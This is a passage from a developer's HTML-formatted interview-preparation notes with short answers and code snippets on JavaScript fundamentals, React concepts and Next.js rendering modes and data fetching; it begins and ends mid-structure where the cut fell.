&lt;li&gt;Revealing module&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What are promises?&lt;/h3&gt;
&lt;p&gt;The Promise object represents the eventual completion (or failure) of an asynchronous operation and its resulting value. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise&lt;/p&gt;
&lt;h3&gt;Difference between &lt;code&gt;var&lt;/code&gt;, &lt;code&gt;let&lt;/code&gt; and &lt;code&gt;const&lt;/code&gt;?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;var&lt;/code&gt; statement declares a function-scoped or globally-scoped variable, optionally initialising it to a value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;let&lt;/code&gt; statement declares a block-scoped local variable, optionally initialising it to a value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;const&lt;/code&gt; are block-scoped, much like variables declared using the let keyword. The value of a constant can&apos;t be changed through reassignment, and it can&apos;t be redeclared.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function scopeTest() {
  if (true) {
    var functionScoped = &apos;visible outside the block&apos;
    let blockScoped = &apos;only visible inside the block&apos;
  }
  console.log(functionScoped) // &apos;visible outside the block&apos;
  console.log(blockScoped) // ReferenceError: blockScoped is not defined
}

const obj = { a: 1 }
obj.a = 2 // OK — the binding is constant, not the value
obj = {} // TypeError: Assignment to constant variable
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Difference between &lt;code&gt;null&lt;/code&gt; and &lt;code&gt;undefined&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;undefined&lt;/code&gt; means a variable has been declared but has not yet been assigned a value.
&lt;code&gt;null&lt;/code&gt; is an assignment value. It can be assigned to a variable as a representation of no value
https://stackoverflow.com/questions/5076944/what-is-the-difference-between-null-and-undefined-in-javascript#5076962&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let a
console.log(a) // undefined — declared, never assigned

let b = null
console.log(b) // null — explicitly &quot;no value&quot;

console.log(typeof undefined) // &apos;undefined&apos;
console.log(typeof null) // &apos;object&apos; (historical bug)

console.log(null == undefined) // true  (loose equality)
console.log(null === undefined) // false (different types)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is a closure?&lt;/h3&gt;
&lt;p&gt;A closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical environment). &lt;strong&gt;In other words, a closure gives you access to an outer function’s scope from an inner function.&lt;/strong&gt; In JavaScript, closures are created every time a function is created, &lt;strong&gt;at function creation time&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;A closure is the combination of a function and the lexical environment within which that function was declared.&lt;/p&gt;
&lt;p&gt;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function makeCounter() {
  let count = 0 // private state captured by the closure
  return function () {
    count += 1
    return count
  }
}

const counter = makeCounter()
counter() // 1
counter() // 2 — `count` persists between calls
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is currying?&lt;/h3&gt;
&lt;p&gt;Currying is a transformation of functions that translates a function from callable as &lt;code&gt;f(a, b, c)&lt;/code&gt; into callable as &lt;code&gt;f(a)(b)(c)&lt;/code&gt;. Currying doesn’t call a function. It just transforms it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function curry(f) {
  // curry(f) does the currying transform
  return function (a) {
    return function (b) {
      return f(a, b)
    }
  }
}

// usage
function sum(a, b) {
  return a + b
}

let curriedSum = curry(sum)

alert(curriedSum(1)(2)) // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;https://javascript.info/currying-partials&lt;/p&gt;
&lt;h3&gt;What is throttling and debouncing?&lt;/h3&gt;
&lt;p&gt;Throttling and debouncing are techniques used in JavaScript to optimise and control the execution of repeated or heavy-duty functions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Throttling&lt;/strong&gt; limits the rate at which a function gets called. It ensures that the function is executed at most once within a specified time interval, regardless of how many times it is invoked. Throttling is often useful to prevent excessive or unnecessary function calls, such as during scroll or resize events.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Debouncing&lt;/strong&gt; limits the frequency at which a function gets called. It postpones the execution of a function until after a certain cooldown period has elapsed since the last invocation. If the function is called again during the cooldown period, the timer resets. Debouncing is commonly used for tasks that require a delay, such as search suggestions or form input validation.&lt;/p&gt;
&lt;p&gt;Both techniques help optimise performance and enhance user experience by preventing unnecessary or excessive function invocations.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function throttle(fn, interval) {
  let lastCall = 0
  return function (...args) {
    const now = Date.now()
    if (now - lastCall &amp;gt;= interval) {
      lastCall = now
      fn.apply(this, args)
    }
  }
}

const debounce = (fn, delay) =&amp;gt; {
  let timer
  return function (...args) {
    clearTimeout(timer)
    timer = setTimeout(() =&amp;gt; fn.apply(this, args), delay)
  }
}

// throttled: fires at most once per 200ms during a scroll
window.addEventListener(&apos;scroll&apos;, throttle(onScroll, 200))

// debounced: fires once, 300ms after the user stops typing
input.addEventListener(&apos;input&apos;, debounce(onSearch, 300))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More detail, TypeScript versions and React hooks: &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt; and &lt;a href=&quot;/notes/throttle/&quot;&gt;throttle&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;What is a tuple?&lt;/h3&gt;
&lt;p&gt;A tuple is an ordered collection or array-like structure that can contain multiple elements of different types in JavaScript. Unlike regular arrays, tuples have a fixed length and their elements are typically accessed using indices.&lt;/p&gt;
&lt;p&gt;However, it&apos;s important to note that JavaScript does not have built-in support for tuples as a distinct data type. In JavaScript, you can simulate tuples by using arrays or objects to store multiple values in a specific order.&lt;/p&gt;
&lt;p&gt;For example, an array can be used to represent a tuple in JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const tuple = [1, &apos;Hello&apos;, true]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, the tuple consists of three elements: the number 1, the string &apos;Hello&apos;, and the boolean value true. The elements can be accessed using their respective indices:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(tuple[0]) // Output: 1
console.log(tuple[1]) // Output: &apos;Hello&apos;
console.log(tuple[2]) // Output: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although arrays can be used to represent tuples in JavaScript, they lack the strict type enforcement and fixed length characteristic of tuples in some other programming languages.&lt;/p&gt;
&lt;h3&gt;What is a &lt;code&gt;Map&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;The Map object holds key-value pairs and remembers the original insertion order of the keys. Any value (both objects and primitive values) may be used as either a key or a value.
http://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const map = new Map()
const objKey = { id: 1 }

map.set(&apos;name&apos;, &apos;Zander&apos;)
map.set(objKey, &apos;object used as a key&apos;)

map.get(&apos;name&apos;) // &apos;Zander&apos;
map.has(objKey) // true
map.size // 2

for (const [key, value] of map) {
  console.log(key, value)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is a &lt;code&gt;Set&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;The Set object lets you store unique values of any type, whether primitive values or object references. A value in the Set may only occur once; it is unique in the Set&apos;s collection.
http://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const set = new Set([1, 2, 2, 3, 3, 3])
set.size // 3 — duplicates dropped

set.add(4)
set.has(4) // true
set.delete(1)

// common use: dedupe an array
const unique = [...new Set([1, 1, 2, 3])] // [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is a Higher order function?&lt;/h3&gt;
&lt;p&gt;A higher order function is a function that takes a function as an argument, returns a function, or both.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// takes a function as an argument
;[1, 2, 3].map((n) =&amp;gt; n * 2) // [2, 4, 6]

// returns a function
function multiplier(factor) {
  return (n) =&amp;gt; n * factor
}
const double = multiplier(2)
double(5) // 10
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is destructuring?&lt;/h3&gt;
&lt;p&gt;The destructuring assignment syntax is a JavaScript expression that makes it possible to unpack values from arrays, or properties from objects, into distinct variables.
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// object destructuring
const user = { name: &apos;Zander&apos;, role: &apos;engineer&apos; }
const { name, role } = user

// array destructuring
const [first, second] = [1, 2]

// defaults and renaming
const { name: fullName, active = false } = user

// swap without a temp variable
let a = 1
let b = 2
;[a, b] = [b, a]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;React questions&lt;/h2&gt;
&lt;h3&gt;How do you like to style React components?&lt;/h3&gt;
&lt;p&gt;CSS.. with PostCSS/Sass and Tailwind&lt;/p&gt;
&lt;h3&gt;What is your preferred state management solution for React?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;useState&lt;/code&gt;, Context, &lt;a href=&quot;https://jotai.org/&quot;&gt;Jotai&lt;/a&gt;, &lt;a href=&quot;https://docs.pmnd.rs/zustand/getting-started/introduction&quot;&gt;Zustand&lt;/a&gt;, &lt;a href=&quot;https://recoiljs.org/&quot;&gt;Recoil&lt;/a&gt;, &lt;a href=&quot;https://redux.js.org/&quot;&gt;Redux&lt;/a&gt;. Correct answer is: it depends?&lt;/p&gt;
&lt;h3&gt;Explain Suspense?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;Suspense&amp;gt;&lt;/code&gt; lets you display a fallback until its children have finished loading.&lt;/p&gt;
&lt;p&gt;https://react.dev/reference/react/Suspense&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Suspense fallback={&amp;lt;Spinner /&amp;gt;}&amp;gt;
  &amp;lt;Profile /&amp;gt;
&amp;lt;/Suspense&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What are ErrorBoundary&apos;s used for?&lt;/h3&gt;
&lt;p&gt;Error boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed.
https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class ErrorBoundary extends React.Component {
  state = { hasError: false }

  static getDerivedStateFromError() {
    return { hasError: true }
  }

  componentDidCatch(error, info) {
    logError(error, info)
  }

  render() {
    if (this.state.hasError) {
      return &amp;lt;h1&amp;gt;Something went wrong.&amp;lt;/h1&amp;gt;
    }
    return this.props.children
  }
}

// usage
;&amp;lt;ErrorBoundary&amp;gt;
  &amp;lt;App /&amp;gt;
&amp;lt;/ErrorBoundary&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Explain Context?&lt;/h3&gt;
&lt;p&gt;Context provides a way to pass data through the component tree without having to pass props down manually at every level.
https://react.dev/learn/passing-data-deeply-with-context&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ThemeContext = createContext(&apos;light&apos;)

function App() {
  return (
    &amp;lt;ThemeContext.Provider value=&quot;dark&quot;&amp;gt;
      &amp;lt;Toolbar /&amp;gt;
    &amp;lt;/ThemeContext.Provider&amp;gt;
  )
}

function Toolbar() {
  const theme = useContext(ThemeContext) // &apos;dark&apos; — no prop drilling
  return &amp;lt;button className={theme}&amp;gt;Click&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What is the significance of &lt;strong&gt;keys&lt;/strong&gt; in React?&lt;/h3&gt;
&lt;p&gt;Keys help React identify which items have changed, are added, or are removed.
https://robinpokorny.medium.com/index-as-a-key-is-an-anti-pattern-e0349aece318&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// use a stable, unique id — not the array index
{
  items.map((item) =&amp;gt; &amp;lt;li key={item.id}&amp;gt;{item.name}&amp;lt;/li&amp;gt;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;When would you use a Class Component over a Functional Component?&lt;/h3&gt;
&lt;p&gt;Would only use a class component these days when creating a custom error boundary.&lt;/p&gt;
&lt;h3&gt;What are refs in React and why are they important?&lt;/h3&gt;
&lt;p&gt;Refs provide a way to access DOM nodes or React elements created in the render method.&lt;/p&gt;
&lt;p&gt;Why would you need to forward ref? If an internal component used refs you might want to be able to access them&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function TextInput() {
  const inputRef = useRef(null)

  const focus = () =&amp;gt; inputRef.current.focus()

  return (
    &amp;lt;&amp;gt;
      &amp;lt;input ref={inputRef} /&amp;gt;
      &amp;lt;button onClick={focus}&amp;gt;Focus the input&amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;List ways of defining a component in React&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function components&lt;/strong&gt;
This should be the default answer for all new components. Function components are more flexible and can use hooks. Class components are more verbose and can&apos;t use hooks (not directly, anyhow). Their lifecycle methods are also less flexible. The entirety of &lt;a href=&quot;http://qualcomm.com/&quot;&gt;Qualcomm.com&lt;/a&gt; is built with function components. Not a single class component exists anymore.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class components&lt;/strong&gt;
Many legacy codebases still use class components, so it&apos;s still important for you to understand how they work.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What are some different types of React Component Patterns?&lt;/h3&gt;
&lt;p&gt;There are many answers to this question. It&apos;s important to have a solid grasp of React&apos;s fundamentals before delving into specific design patterns. Read more on these fundamentals here.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compound components&lt;/strong&gt;
Think of compound components like the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; elements in HTML.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher Order Components&lt;/strong&gt;
A higher-order component is a function that takes a component and returns a new component. HOCs aren&apos;t unique to React. In functional programming, a higher order function is a function that returns another function.
https://reactjs.org/docs/higher-order-components.html&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Render props&lt;/strong&gt;
With a &lt;code&gt;render&lt;/code&gt; or other prop that returns a &lt;code&gt;ReactNode&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State initialiser&lt;/strong&gt;
Here we allow you to set the initial value (similar to defaultValue in &lt;code&gt;&amp;lt;input /&amp;gt;&lt;/code&gt;) and then a nice way to expose a reset helper function to allow users of the component to reset the component to its initial state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prop Collections and Getters&lt;/strong&gt;
Formik and Downshift use these&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Controlled Components&lt;/strong&gt;
Inputs, Radix Dialogs/Alerts/etc - Provider&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Read more about these patterns here: https://kentcdodds.com/blog/advanced-react-component-patterns&lt;/p&gt;
&lt;h3&gt;What are Portals?&lt;/h3&gt;
&lt;p&gt;Portals provide a first-class way to render children into a DOM node that exists outside the DOM hierarchy of the parent component.
https://react.dev/reference/react-dom/createPortal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Modal({ children }) {
  return createPortal(
    &amp;lt;div className=&quot;modal&quot;&amp;gt;{children}&amp;lt;/div&amp;gt;,
    document.getElementById(&apos;modal-root&apos;),
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What does it mean to destructure props?&lt;/h3&gt;
&lt;p&gt;This one is a simple answer but very telling. React is just a JavaScript library. To that end, a React component&apos;s props are very similar to a single function parameter with an initial value of &lt;code&gt;{ }&lt;/code&gt;. You should be able to explain what object destructuring is.&lt;/p&gt;
&lt;h3&gt;How Virtual DOM works? Pros and cons&lt;/h3&gt;
&lt;p&gt;This is important to understand but not critical. The react docs do a good job of explaining this.&lt;/p&gt;
&lt;h3&gt;What is React Reconciliation?&lt;/h3&gt;
&lt;p&gt;React provides a declarative API so that you don’t have to worry about exactly what changes on every update. This makes writing applications a lot easier, but it might not be obvious how this is implemented within React.&lt;/p&gt;
&lt;h3&gt;What is &lt;code&gt;e.target&lt;/code&gt;?&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;If you&apos;re ever asked this vague of a question, you should follow up with a question of your own. In what context? I&apos;m assuming this is referring to DOM events.&lt;/li&gt;
&lt;li&gt;DOM events&lt;/li&gt;
&lt;li&gt;React events&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What is life cycle of a component?&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Very important. If a Jr. answered this question properly and had the right attitude/fit for the team, I&apos;d be more inclined to hire them. A correct good answer to this question would involve an overview of class component lifecycle (link below) and examples on some of their use cases. Bonus points for a comparison between function components and class components. Why lifecycle methods are useful: the developer can access class component lifecycle methods to inject custom logic at specific stages of a component&apos;s rendering process. Function components don&apos;t have these same methods (they technically still do under the hood, but it&apos;s moot). However, function components can tap into Hooks which provide similar functionality to the lifecycle methods of class components.&lt;/li&gt;
&lt;li&gt;Class component lifecycle methods&lt;/li&gt;
&lt;li&gt;From lifecycle methods to hooks&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;How does Redux work?&lt;/h3&gt;
&lt;p&gt;The way Redux works is simple. There is a central store that holds the entire state of the application. Each component can access the stored state without having to send down props from one component to another.&lt;/p&gt;
&lt;p&gt;If you plan on working with Redux, Redux toolkit simplifies the setup and usage. I&apos;d recommend it.&lt;/p&gt;
&lt;h3&gt;How to manage events in React?&lt;/h3&gt;
&lt;p&gt;Refer to &quot;What is e.target?&quot;&lt;/p&gt;
&lt;h3&gt;Difference: component and element&lt;/h3&gt;
&lt;p&gt;A React Component is a function or class that accepts an input and returns a React element. ReactDOM renders DOM &lt;code&gt;elements&lt;/code&gt; backed by instances of their &lt;code&gt;components&lt;/code&gt;. An element is simply an instance of a React component. The clue here is that every JSX tag gets translated to a &lt;code&gt;React.createElement&lt;/code&gt; call.&lt;/p&gt;
&lt;h3&gt;What is React Fiber?&lt;/h3&gt;
&lt;p&gt;Don&apos;t spend a lot of time on this one: https://github.com/acdlite/react-fiber-architecture.&lt;/p&gt;
&lt;h3&gt;How child component can change state in parent component?&lt;/h3&gt;
&lt;p&gt;Callbacks, Context, etc... There are lots of ways to do this and it&apos;s important to know some of them.&lt;/p&gt;
&lt;h3&gt;Methods of debugging an app that uses framework.&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This question is vague. You should understand how to debug JavaScript, and popular IDEs can provide this functionality for you. Acceptable answer: &quot;Look at what the framework&apos;s dev community is using.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What does the deps array in useEffect() do?&lt;/h3&gt;
&lt;p&gt;Very important to know. &lt;a href=&quot;https://react.dev/reference/react/useEffect&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;What is React?&lt;/h3&gt;
&lt;p&gt;React is a JavaScript library for building websites. React&apos;s purpose is to let you easily create a view that automatically updates itself based on your application&apos;s data. In React, you write the view once as a function of your data. This view automatically updates when the data changes.&lt;/p&gt;
&lt;p&gt;Other useful articles:Examples of what to do:
https://kentcdodds.com/blog/making-your-ui-tests-resilient-to-changehttps://qvault.io/clean-code/dry-code/
Examples of what NOT to do:
https://medium.com/@joshsaintjacque/reacting-to-code-smells-bloaters-3e452d0c01bhttps://jsmanifest.com/10-things-not-to-do-when-building-react-apps/&lt;/p&gt;
&lt;h2&gt;Next.js questions&lt;/h2&gt;
&lt;p&gt;More code examples: &lt;a href=&quot;/notes/nextjs/&quot;&gt;/notes/nextjs/&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;What is Next.js?&lt;/h3&gt;
&lt;p&gt;A React framework. React only renders components. Next.js adds the rest: file-based routing, rendering on the server, data fetching, bundling, image and font optimisation, and API routes. In short: server-rendered React with batteries included.&lt;/p&gt;
&lt;h3&gt;What do SSR, SSG, ISR and CSR mean?&lt;/h3&gt;
&lt;p&gt;They describe &lt;strong&gt;when&lt;/strong&gt; and &lt;strong&gt;where&lt;/strong&gt; the HTML is made.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Acronym&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;HTML is made…&lt;/th&gt;
&lt;th&gt;Good for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CSR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Client-Side Rendering&lt;/td&gt;
&lt;td&gt;in the browser, after the JS loads&lt;/td&gt;
&lt;td&gt;dashboards behind a login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Server-Side Rendering&lt;/td&gt;
&lt;td&gt;on the server, on every request&lt;/td&gt;
&lt;td&gt;pages with per-user or always-fresh data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSG&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Static Site Generation&lt;/td&gt;
&lt;td&gt;once, at build time&lt;/td&gt;
&lt;td&gt;blogs, docs, marketing pages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ISR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Incremental Static Regeneration&lt;/td&gt;
&lt;td&gt;at build time, then rebuilt in the background after a set time&lt;/td&gt;
&lt;td&gt;big catalogues that change now and then&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;SSR, SSG and CSR are general ideas, not Next.js features. ISR is the Next.js name for &quot;static, but refreshed&quot;. A single Next.js app can mix all four, page by page.&lt;/p&gt;
&lt;h3&gt;What is hydration?&lt;/h3&gt;
&lt;p&gt;The server sends ready-made HTML, so the user sees content fast. Then React loads in the browser and attaches event handlers to that HTML. That step is hydration. Until it finishes, the page is visible but not interactive.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;hydration mismatch&lt;/strong&gt; happens when the first client render doesn&apos;t match the server HTML. Common causes: &lt;code&gt;Date.now()&lt;/code&gt;, &lt;code&gt;Math.random()&lt;/code&gt;, &lt;code&gt;window&lt;/code&gt; checks or locale formatting in render. Fix it by moving browser-only values into &lt;code&gt;useEffect&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;What is the difference between the Pages Router and the App Router?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pages Router&lt;/strong&gt; (&lt;code&gt;pages/&lt;/code&gt;): the original. Every component is a client component. Data is fetched with &lt;code&gt;getServerSideProps&lt;/code&gt;, &lt;code&gt;getStaticProps&lt;/code&gt; and &lt;code&gt;getInitialProps&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;App Router&lt;/strong&gt; (&lt;code&gt;app/&lt;/code&gt;, Next.js 13+): built on React Server Components. Nested layouts, streaming with &lt;code&gt;&amp;lt;Suspense&amp;gt;&lt;/code&gt;, and you fetch data straight inside &lt;code&gt;async&lt;/code&gt; components. The default for new projects.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both can live in the same app, which makes gradual migration possible.&lt;/p&gt;
&lt;h3&gt;What are React Server Components (RSC)?&lt;/h3&gt;
&lt;p&gt;Components that run &lt;strong&gt;only on the server&lt;/strong&gt;. Their code is never sent to the browser, so they can read from a database or use secrets directly, and they add nothing to the bundle. They can&apos;t use state, effects or event handlers.&lt;/p&gt;
&lt;p&gt;Add &lt;code&gt;&apos;use client&apos;&lt;/code&gt; at the top of a file to make it a &lt;strong&gt;client component&lt;/strong&gt; (the classic React component, rendered on the server first and then hydrated). Keep client components small and near the leaves of the tree.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/posts/page.tsx — server component (the default)
export default async function Posts() {
  const posts = await db.post.findMany()
  return &amp;lt;PostList posts={posts} /&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// LikeButton.tsx — client component
&apos;use client&apos;

export function LikeButton() {
  const [liked, setLiked] = useState(false)
  return &amp;lt;button onClick={() =&amp;gt; setLiked(!liked)}&amp;gt;{liked ? &apos;♥&apos; : &apos;♡&apos;}&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What does &lt;code&gt;getInitialProps&lt;/code&gt; do?&lt;/h3&gt;
&lt;p&gt;The oldest data-fetching API (Pages Router). It runs on the &lt;strong&gt;server&lt;/strong&gt; for the first page load, then in the &lt;strong&gt;browser&lt;/strong&gt; on client-side navigation. That means the code must work in both places.&lt;/p&gt;
&lt;p&gt;It turns off automatic static optimisation for that page, so every request is server rendered. It&apos;s legacy: use &lt;code&gt;getServerSideProps&lt;/code&gt; or &lt;code&gt;getStaticProps&lt;/code&gt; instead. You still see it in older codebases and in custom &lt;code&gt;_app&lt;/code&gt; and &lt;code&gt;_document&lt;/code&gt; files.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Page({ stars }: { stars: number }) {
  return &amp;lt;p&amp;gt;Next.js has {stars} ⭐️&amp;lt;/p&amp;gt;
}

Page.getInitialProps = async () =&amp;gt; {
  const res = await fetch(&apos;https://api.github.com/repos/vercel/next.js&apos;)
  const repo = await res.json()
  return { stars: repo.stargazers_count }
}

export default Page
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What does &lt;code&gt;getServerSideProps&lt;/code&gt; do?&lt;/h3&gt;
&lt;p&gt;SSR in the Pages Router. It runs &lt;strong&gt;only on the server&lt;/strong&gt;, on &lt;strong&gt;every request&lt;/strong&gt;. On client-side navigation, Next.js calls it through an API request, so it never runs in the browser. You can use secrets and database calls safely.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const getServerSideProps = (async ({ params, req }) =&amp;gt; {
  const user = await getUser(params!.id as string, req.cookies.session)
  if (!user) return { notFound: true }
  return { props: { user } }
}) satisfies GetServerSideProps&amp;lt;{ user: User }&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What do &lt;code&gt;getStaticProps&lt;/code&gt; and &lt;code&gt;getStaticPaths&lt;/code&gt; do?&lt;/h3&gt;
&lt;p&gt;SSG in the Pages Router. &lt;code&gt;getStaticProps&lt;/code&gt; runs &lt;strong&gt;at build time&lt;/strong&gt; and the page is saved as HTML. Add &lt;code&gt;revalidate&lt;/code&gt; to get ISR.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getStaticPaths&lt;/code&gt; tells Next.js which dynamic routes (&lt;code&gt;/posts/[slug]&lt;/code&gt;) to build. &lt;code&gt;fallback&lt;/code&gt; decides what happens with a path that wasn&apos;t built:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;false&lt;/code&gt; — 404&lt;/li&gt;
&lt;li&gt;&lt;code&gt;true&lt;/code&gt; — show a loading state, build it in the background&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;blocking&apos;&lt;/code&gt; — server render it on the first request, then cache it&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;export const getStaticPaths = (async () =&amp;gt; {
  const posts = await getPosts()
  return { paths: posts.map((p) =&amp;gt; ({ params: { slug: p.slug } })), fallback: &apos;blocking&apos; }
}) satisfies GetStaticPaths

export const getStaticProps = (async ({ params }) =&amp;gt; {
  const post = await getPost(params!.slug as string)
  return { props: { post }, revalidate: 60 } // ISR: rebuild at most once a minute
}) satisfies GetStaticProps&amp;lt;{ post: Post }&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How do you fetch data in the App Router?&lt;/h3&gt;
&lt;p&gt;Make the component &lt;code&gt;async&lt;/code&gt; and &lt;code&gt;await&lt;/code&gt; the data. The Pages Router functions map to options:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pages Router&lt;/th&gt;
&lt;th&gt;App Router&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getServerSideProps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fetch(url, { cache: &apos;no-store&apos; })&lt;/code&gt;, or read &lt;code&gt;cookies()&lt;/code&gt; / &lt;code&gt;headers()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getStaticProps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fetch(url, { cache: &apos;force-cache&apos; })&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getStaticProps&lt;/code&gt; + &lt;code&gt;revalidate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fetch(url, { next: { revalidate: 60 } })&lt;/code&gt; or &lt;code&gt;export const revalidate = 60&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getStaticPaths&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export async function generateStaticParams()&lt;/code&gt;&lt;/td&gt;
